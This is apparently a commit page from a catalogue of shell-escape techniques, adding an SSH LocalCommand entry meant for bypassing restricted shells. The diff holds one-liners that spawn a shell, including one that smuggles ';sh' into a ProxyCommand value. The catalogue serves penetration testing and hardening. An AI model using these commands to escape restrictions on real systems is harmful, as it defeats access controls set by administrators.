Add LocalCommand option to SSH

SSH has a LocalCommand option that will run a given command on the client machine after a successful connection.  It is generally disabled, but can be enabled on the command line with "-oPermitLocalCommand=yes".  This is useful for bypassing restricted shells.

Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
This commit is contained in:
James Spadaro 2022-05-01 05:07:53 -04:00 committed by GitHub
parent 3d0d4a76d9
commit cd05b58e70
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -5,6 +5,8 @@ functions:
code: ssh localhost $SHELL --noprofile --norc
- description: Spawn interactive shell through ProxyCommand option.
code: ssh -o ProxyCommand=';sh 0<&2 1>&2' x
- description: Spawn interactive shell on client, requires a successful connection towards `host`.
code: ssh -o PermitLocalCommand=yes -o LocalCommand=/bin/sh host
file-upload:
- description: Send local file to a SSH server.
code: |